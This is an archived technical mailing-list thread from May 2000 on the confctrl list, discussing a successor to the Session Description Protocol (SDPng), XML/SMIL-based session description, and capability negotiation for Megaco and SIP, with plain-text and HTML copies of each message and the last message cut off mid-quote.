From confctrl-owner  Fri May 26 08:12:49 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA22461
	for confctrl-outgoing; Fri, 26 May 2000 08:12:49 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA22456
	for <confctrl@zephyr.isi.edu>; Fri, 26 May 2000 08:12:46 -0700 (PDT)
Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA15082
	for <confctrl@isi.edu>; Fri, 26 May 2000 08:13:21 -0700 (PDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) 
          by smtprch2.nortel.com; Fri, 26 May 2000 10:08:56 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) 
          id <LW1ZFYT4>; Fri, 26 May 2000 10:11:46 -0500
Message-ID: <C51ED84B6F47D211917A0000F8BCBD11038584FB@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'Rob Lanphier'" <robla@real.com>, confctrl@ISI.EDU
Cc: www-smil@w3.org
Subject: RE: SDPng
Date: Fri, 26 May 2000 10:09:03 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFC724.B41540A8"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFC724.B41540A8
Content-Type: text/plain

For session description, which I think is what you're talking about here, I
wasn't aware that expressiveness of SDP was much of a problem.

> -----Original Message-----
> From:	Rob Lanphier [SMTP:robla@real.com]
> Sent:	Thursday, May 25, 2000 9:14 PM
> To:	Markus Buchhorn; confctrl@isi.edu; atmsdp@eng.fore.com
> Cc:	www-smil@w3.org
> Subject:	Re: SDPng
> 
> Hi Markus,
> 
> (www-smil@w3.org added to the cc line.  See mail below for context)
> 
> The W3C SYMM Working Group is currently in the process of defining the
> next 
> version of SMIL (Synchronized Multimedia Integration Language).  It's an 
> XML-based language describing how to combine multimedia primitives (audio,
> 
> video, images, text, etc) into a coherent presentation.
> 
> One of the proposed set of extensions to SMIL would be to add RTP delivery
> 
> information into the SMIL specification.  The latest draft for this is 
> located here:
> http://www.w3.org/TR/smil-boston/extended-media-object.html
> 
> A SMIL representation of SDP information would clearly be heavier than an 
> SDP equivalent, but would also be a lot more expressive.  What's more, 
> there's many cases where SMIL and SDP are both used in the same 
> presentation today (RealPlayer and Quicktime support both).
> 
> I'll have to add the caveat that this particular portion of the spec
> hasn't 
> received a lot of attention due to the fact that the bulk of the working 
> group has more interest and/or expertise in matters higher in the 
> application stack than getting the bits from point A to point B.  Input 
> from this group on fleshing this proposal out would be greatly appreciated
> 
> (best sent to www-smil@w3.org to keep me honest)  :)
> 
> Since the RTP portion of the SMIL Boston spec has such clear overlap with 
> an existing IETF spec, it may make sense to separate this out and work on 
> it as a namespace-separated extension to SMIL Boston, for which the
> details 
> are sorted out in the IETF.  That would allow the group with the most 
> interest and expertise in the matter to participate.
> 
> Thoughts?
> 
> Rob
> 
> At 09:43 AM 5/25/00 +1000, Markus Buchhorn wrote:
> 
> >Hi All
> >
> >A quick question that leapt to mind from a couple of recent threads. I
> have
> >seen mention of various extensions to SDP ("we're hitting some
> limitations
> >of SDP"), some for application features (codecs, etc.), some for
> transport
> >features (ATM leaps to mind, mobile users ?).
> >
> >Which group/who is looking at the next generation of SDP? (I think Mark
> >Handley mentioned "some people call it SDPv2 and it's not really a v2").
> I
> >haven't seen any mailing lists under avt or mmusic (where it should be?)
> >really discuss it.
> >
> >I'd be interested to see what is being done. One idea I wanted to canvas
> >was the use of XML in session/content/transport description, with
> >appropriate DTD's being created as necessary. Nicely extensible and
> >pigeon-hole-able and container-able :-). However, it can be a bit heavy
> and
> >SAP puts some strong recommendations on bandwidth usage and packet sizes.
> >OTOH XML is compressible (e.g. wbxml) in special cases.
> >
> >Anyway - just wanted to lob a couple of cents in (around $US0.0114 at
> last
> >glance...), and see what people are thinking.
> >
> >Cheers,
> >         Markus
> >
> >Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2
> 62798810
> >email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2
> 62798602
> >Australian National University, Canberra 0200, Australia |Mobile: 0417 
> >281429
> 

------_=_NextPart_001_01BFC724.B41540A8
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2651.65">
<TITLE>RE: SDPng</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">For session =
description, which I think is what you're talking about here, I wasn't =
aware that expressiveness of SDP was much of a problem.</FONT></P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Rob Lanphier [SMTP:robla@real.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Thursday, May 25, 2000 9:14 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Markus Buchhorn; confctrl@isi.edu; =
atmsdp@eng.fore.com</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">www-smil@w3.org</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: SDPng</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi Markus,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">(www-smil@w3.org added to the cc =
line.&nbsp; See mail below for context)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The W3C SYMM Working Group is =
currently in the process of defining the next </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">version of SMIL (Synchronized =
Multimedia Integration Language).&nbsp; It's an </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">XML-based language describing how to =
combine multimedia primitives (audio, </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">video, images, text, etc) into a =
coherent presentation.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">One of the proposed set of extensions =
to SMIL would be to add RTP delivery </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">information into the SMIL =
specification.&nbsp; The latest draft for this is </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">located here:</FONT>
<BR><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://www.w3.org/TR/smil-boston/extended-media-object.html" =
TARGET=3D"_blank">http://www.w3.org/TR/smil-boston/extended-media-object=
.html</A></FONT></U>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">A SMIL representation of SDP =
information would clearly be heavier than an </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">SDP equivalent, but would also be a =
lot more expressive.&nbsp; What's more, </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">there's many cases where SMIL and SDP =
are both used in the same </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">presentation today (RealPlayer and =
Quicktime support both).</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I'll have to add the caveat that this =
particular portion of the spec hasn't </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">received a lot of attention due to =
the fact that the bulk of the working </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">group has more interest and/or =
expertise in matters higher in the </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">application stack than getting the =
bits from point A to point B.&nbsp; Input </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">from this group on fleshing this =
proposal out would be greatly appreciated </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">(best sent to www-smil@w3.org to keep =
me honest)&nbsp; :)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Since the RTP portion of the SMIL =
Boston spec has such clear overlap with </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">an existing IETF spec, it may make =
sense to separate this out and work on </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">it as a namespace-separated extension =
to SMIL Boston, for which the details </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">are sorted out in the IETF.&nbsp; =
That would allow the group with the most </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">interest and expertise in the matter =
to participate.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thoughts?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Rob</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">At 09:43 AM 5/25/00 +1000, Markus =
Buchhorn wrote:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt;Hi All</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;A quick question that leapt to =
mind from a couple of recent threads. I have</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;seen mention of various =
extensions to SDP (&quot;we're hitting some limitations</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;of SDP&quot;), some for =
application features (codecs, etc.), some for transport</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;features (ATM leaps to mind, =
mobile users ?).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Which group/who is looking at the =
next generation of SDP? (I think Mark</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Handley mentioned &quot;some =
people call it SDPv2 and it's not really a v2&quot;). I</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;haven't seen any mailing lists =
under avt or mmusic (where it should be?)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;really discuss it.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;I'd be interested to see what is =
being done. One idea I wanted to canvas</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;was the use of XML in =
session/content/transport description, with</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;appropriate DTD's being created =
as necessary. Nicely extensible and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;pigeon-hole-able and =
container-able :-). However, it can be a bit heavy and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;SAP puts some strong =
recommendations on bandwidth usage and packet sizes.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;OTOH XML is compressible (e.g. =
wbxml) in special cases.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Anyway - just wanted to lob a =
couple of cents in (around $US0.0114 at last</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;glance...), and see what people =
are thinking.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Cheers,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Markus</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Markus Buchhorn,&nbsp; Advanced =
Computational Systems CRC&nbsp;&nbsp;&nbsp;&nbsp; | Ph: +61 2 =
62798810</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;email: markus@acsys.anu.edu.au, =
snail: ACSys, RSISE Bldg,|Fax: +61 2 62798602</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Australian National University, =
Canberra 0200, Australia |Mobile: 0417 </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;281429</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BFC724.B41540A8--

From confctrl-owner  Fri May 26 08:14:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA22532
	for confctrl-outgoing; Fri, 26 May 2000 08:14:44 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA22527
	for <confctrl@zephyr.isi.edu>; Fri, 26 May 2000 08:14:42 -0700 (PDT)
Received: from ertpg14e1.nortelnetworks.com (ertpg14e1.nortelnetworks.com [47.234.0.35])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA15139
	for <confctrl@ISI.EDU>; Fri, 26 May 2000 08:14:48 -0700 (PDT)
Received: from zrtpd004.us.nortel.com (actually zrtpd004) 
          by ertpg14e1.nortelnetworks.com; Fri, 26 May 2000 11:13:18 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) 
          id <L3HP78MV>; Fri, 26 May 2000 11:13:18 -0400
Message-ID: <C51ED84B6F47D211917A0000F8BCBD11038584FC@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'Dirk Kutscher'" <dku@informatik.uni-bremen.de>
Cc: confctrl@ISI.EDU
Subject: RE: SDPng
Date: Fri, 26 May 2000 11:13:08 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFC724.EB0BAB06"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFC724.EB0BAB06
Content-Type: text/plain;
	charset="iso-8859-1"

I did want to say that Megaco has a great deal of interest in an improved
capability negotiation protocol.  We deliberately isolated media flow
negotiation within the Megaco protocol (to the Local and Remote descriptors)
to make it easier to move to a new protocol should a replacement for SDP
appear.  We can use SDP now, but we are threatened with a combinatorial
explosion if there are a lot of details to negotiate.

I suppose this means I should be contributing  to discussion of the topic in
MMUSIC :-)

> -----Original Message-----
> From:	Dirk Kutscher [SMTP:dku@informatik.uni-bremen.de]
> Sent:	Thursday, May 25, 2000 6:51 AM
> To:	Markus Buchhorn
> Cc:	confctrl@ISI.EDU; atmsdp@eng.fore.com
> Subject:	Re: SDPng
> 
> >>>>> "Markus" == Markus Buchhorn <markus@acsys.anu.edu.au> writes:
> 
>     Markus> Which group/who is looking at the next generation of SDP?
>     Markus> (I think Mark Handley mentioned "some people call it SDPv2
>     Markus> and it's not really a v2"). I haven't seen any mailing
>     Markus> lists under avt or mmusic (where it should be?)  really
>     Markus> discuss it.
> 
> Markus,
> 
> we have started a discussion about this about a year ago and submitted
> an ID called "Capability description for group cooperation". The draft
> has expired but you can grab an old copy at
> 
> ftp://ftp.tzi.uni-bremen.de/doc/internet-drafts/draft-ott-mmusic-cap-00.tx
> t
> 
> The draft does not directly propose a concrete new SDP version but
> also deals with
> 
> 	- a model for multimedia conferencing from a
>           configuration point of view: We used the notion of
>           "components" that are basically applications within a
>           multimedia conference and can be mapped to the final media
>           streams. The way components can be implemented depends on
>           the capabilities of end-systems and preferences of users,
>           what we called "potential configurations".
> 
> 	- the relation between "session description" and capability
>           negotiation: In a capability negotiation process
>           potential configurations are taken as input for a function
>           that finally yields a usable "actual configuration", that is
>           an element of a session description.
> 
> 	- algorithms for capability negotiation and mapping to/from
>           SDP: We have presented an algorithm that allows capability
>           negotiation without having to know the semantics of
>           individual descriptions, which is important for
>           extensibility.
> 
> The motivation for this was the observation that, while SDP has not
> been designed to support capability negotiation, the dynamic
> negotiation of session parameters is considered an important
> functionality for conferencing/IP-telephony and that there are usage
> scenarios where protocols like SIP actually do rely on capability
> negotiation involving SDP.
> 
> It is obvious that negotiating capabilities and describing session
> parametes are closely related and that it is probably useful to have a
> common representation for both purposes, so this is one reason why
> developing a "new" SDP has been considered. Other reasons may be the
> various proposals of extending SDP that have been presented and that
> suggest that, while SDP provides some extension mechanisms, it lacks
> the required extensiblity to support all this conveniently.
> 
> Because of the capability negotiation aspect a few more questions
> arise as it would have been the case for finding a new representation
> for session descriptions.
> 
> For example, it has been noted that capability negotiation has a
> considerable overlap to content negotiation, i.e. RFC2703 and
> RFC2533. It makes sense to build upon this work but it is also
> important to adhere to the "keep it simple" requirement, one of the
> reasons being the one you mention below:
> 
>     Markus> I'd be interested to see what is being done. One idea I
>     Markus> wanted to canvas was the use of XML in
>     Markus> session/content/transport description, with appropriate
>     Markus> DTD's being created as necessary. Nicely extensible and
>     Markus> pigeon-hole-able and container-able :-). However, it can
>     Markus> be a bit heavy and SAP puts some strong recommendations on
>     Markus> bandwidth usage and packet sizes.  OTOH XML is
>     Markus> compressible (e.g. wbxml) in special cases.
> 
> I think, before thinking of DTDs, schemata and concrete
> representations we have to address the fundamental questions of how
> the model for capability negotiation and session decription should
> look like etc. It should then be comparatively easy to find one (or
> more) appropriate representation syntaxes, maybe even an XML-based
> one.
> 
> Discussion about all this is of course welcome.
> 
> -- 
> 	Dirk
> 
> 

------_=_NextPart_001_01BFC724.EB0BAB06
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2651.65">
<TITLE>RE: SDPng</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">I did want to say =
that Megaco has a great deal of interest in an improved capability =
negotiation protocol.&nbsp; We deliberately isolated media flow =
negotiation within the Megaco protocol (to the Local and Remote =
descriptors) to make it easier to move to a new protocol should a =
replacement for SDP appear.&nbsp; We can use SDP now, but we are =
threatened with a combinatorial explosion if there are a lot of details =
to negotiate.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">I suppose this means =
I should be contributing&nbsp; to discussion of the topic in MMUSIC =
:-)</FONT>
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Dirk Kutscher =
[SMTP:dku@informatik.uni-bremen.de]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Thursday, May 25, 2000 6:51 AM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Markus Buchhorn</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">confctrl@ISI.EDU; atmsdp@eng.fore.com</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: SDPng</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt;&gt;&gt;&gt;&gt; =
&quot;Markus&quot; =3D=3D Markus Buchhorn =
&lt;markus@acsys.anu.edu.au&gt; writes:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; Which =
group/who is looking at the next generation of SDP?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; (I =
think Mark Handley mentioned &quot;some people call it SDPv2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; and =
it's not really a v2&quot;). I haven't seen any mailing</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; lists =
under avt or mmusic (where it should be?)&nbsp; really</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; discuss =
it.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Markus,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">we have started a discussion about =
this about a year ago and submitted</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">an ID called &quot;Capability =
description for group cooperation&quot;. The draft</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">has expired but you can grab an old =
copy at</FONT>
</P>

<P><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"ftp://ftp.tzi.uni-bremen.de/doc/internet-drafts/draft-ott-mmusic=
-cap-00.txt" =
TARGET=3D"_blank">ftp://ftp.tzi.uni-bremen.de/doc/internet-drafts/draft-=
ott-mmusic-cap-00.txt</A></FONT></U>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The draft does not directly propose a =
concrete new SDP version but</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">also deals with</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">- a model for multimedia conferencing from a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
configuration point of view: We used the notion of</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&quot;components&quot; that are basically applications within a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
multimedia conference and can be mapped to the final media</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
streams. The way components can be implemented depends on</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
the capabilities of end-systems and preferences of users,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; what we called &quot;potential =
configurations&quot;.</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">- the relation between &quot;session description&quot; =
and capability</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
negotiation: In a capability negotiation process</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
potential configurations are taken as input for a function</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
that finally yields a usable &quot;actual configuration&quot;, that =
is</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
an element of a session description.</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">- algorithms for capability negotiation and mapping =
to/from</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SDP: We have presented an algorithm that allows capability</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
negotiation without having to know the semantics of</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
individual descriptions, which is important for</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
extensibility.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The motivation for this was the =
observation that, while SDP has not</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">been designed to support capability =
negotiation, the dynamic</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">negotiation of session parameters is =
considered an important</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">functionality for =
conferencing/IP-telephony and that there are usage</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">scenarios where protocols like SIP =
actually do rely on capability</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">negotiation involving SDP.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">It is obvious that negotiating =
capabilities and describing session</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">parametes are closely related and =
that it is probably useful to have a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">common representation for both =
purposes, so this is one reason why</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">developing a &quot;new&quot; SDP has =
been considered. Other reasons may be the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">various proposals of extending SDP =
that have been presented and that</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">suggest that, while SDP provides some =
extension mechanisms, it lacks</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the required extensiblity to support =
all this conveniently.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Because of the capability negotiation =
aspect a few more questions</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">arise as it would have been the case =
for finding a new representation</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">for session descriptions.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">For example, it has been noted that =
capability negotiation has a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">considerable overlap to content =
negotiation, i.e. RFC2703 and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">RFC2533. It makes sense to build upon =
this work but it is also</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">important to adhere to the &quot;keep =
it simple&quot; requirement, one of the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">reasons being the one you mention =
below:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; I'd be =
interested to see what is being done. One idea I</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; wanted =
to canvas was the use of XML in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; =
session/content/transport description, with appropriate</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; DTD's =
being created as necessary. Nicely extensible and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; =
pigeon-hole-able and container-able :-). However, it can</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; be a =
bit heavy and SAP puts some strong recommendations on</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; =
bandwidth usage and packet sizes.&nbsp; OTOH XML is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; Markus&gt; =
compressible (e.g. wbxml) in special cases.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I think, before thinking of DTDs, =
schemata and concrete</FONT>
